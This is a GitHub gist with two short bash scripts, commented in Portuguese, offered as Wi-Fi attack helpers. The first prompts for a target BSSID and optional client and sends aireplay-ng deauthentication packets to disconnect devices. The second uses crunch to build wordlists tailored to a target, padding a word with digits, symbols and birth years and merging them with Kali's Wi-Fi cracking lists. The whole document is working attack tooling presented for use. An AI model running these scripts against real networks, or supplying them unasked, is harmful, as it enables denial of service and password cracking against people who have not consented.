Last active
September 27, 2017 03:19
-
-
Save henriquecrw/628fa070433de82f3c68c22c9dda8665 to your computer and use it in GitHub Desktop.
Some Codes
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#! /bin/bash | |
IFS= read -r -p "ESSID/BSSID alvo: " var1 | |
read -p "Dispositivo a ser DC: " var2 | |
if [ -z $var2 ]; then | |
aireplay-ng -0 25 -a $var1 wlan0mon | |
else | |
aireplay-ng -0 25 -a $var1 -c $var2 wlan0mon | |
fi |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash - | |
#title :wordlist_creator.sh | |
#description :Feito para ajudar na criação de lista personalizadas direcionadas à alvos precisos. | |
#author :Henrique Silva | |
#date :2017-09-27 | |
#version :v3 | |
#usage :./wordlist_creator.sh | |
#notes : | |
#bash_version :4.4.12(1)-release | |
#============================================================================ | |
read -p "Digite a letra: " input | |
lnum=${#input} # transforma em números e conta, qtd car// | |
function mkword_list { | |
printf "***************************** Adiciona um novo caracter na letra ****************************\n\n*" | |
var1=$((lnum + 1)) | |
crunch $var1 $var1 -t $input% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var1 $var1 -t %$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var1 $var1 -t $input^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var1 $var1 -t ^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
printf "***************************** Adiciona 2 novos caracters na letra ****************************\n\n*" | |
var3=$((lnum + 2)) | |
crunch $var3 $var3 -t $input%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var3 $var3 -t %%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var3 $var3 -t $input^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var3 $var3 -t %^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var3 $var3 -t $input^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var3 $var3 -t ^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
printf "***************************** Adiciona 3 novos caracters na letra ****************************\n\n*" | |
var4=$((lnum + 3)) | |
crunch $var4 $var4 -t $input%%^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input%^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input^%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input^^% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input^%^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input%^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t $input^^^ -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t %%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t %^%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t ^%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t ^^%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t ^%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t %^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t %%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var4 $var4 -t ^^^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
printf "***************************** data de aniversário em YYYY ****************************\n\n*" | |
var5=$((lnum + 4)) | |
crunch $var5 $var5 -t %%%%$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var5 $var5 -t $input%%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
var6=$((lnum + 5)) | |
crunch $var6 $var6 -t %%%%^$input -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
crunch $var6 $var6 -t $input^%%%% -o W0rdlist$input$(date +'%d-%m-%Y-%s').txt | |
} | |
mkword_list # minusculo | |
input=${input^} | |
mkword_list # maiusculo | |
printf "***************************** Aguarde um pouco =D / organizando e juntando os arquvos ****************************\n\n*" | |
if [ -d $input ]; then | |
printf "***************************** Diretório já existe! ****************************\n\n*" | |
else | |
mkdir -p -v $input/ | |
fi | |
cat W0rdlist* /usr/share/wordlists/fern-wifi/common.txt /usr/share/wordlists/fasttrack.txt > $input/$input-wordlist-$(date +'%d-%m-%Y-%H-sec%S').txt | |
sleep 10 | |
rm W0rdlist* |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment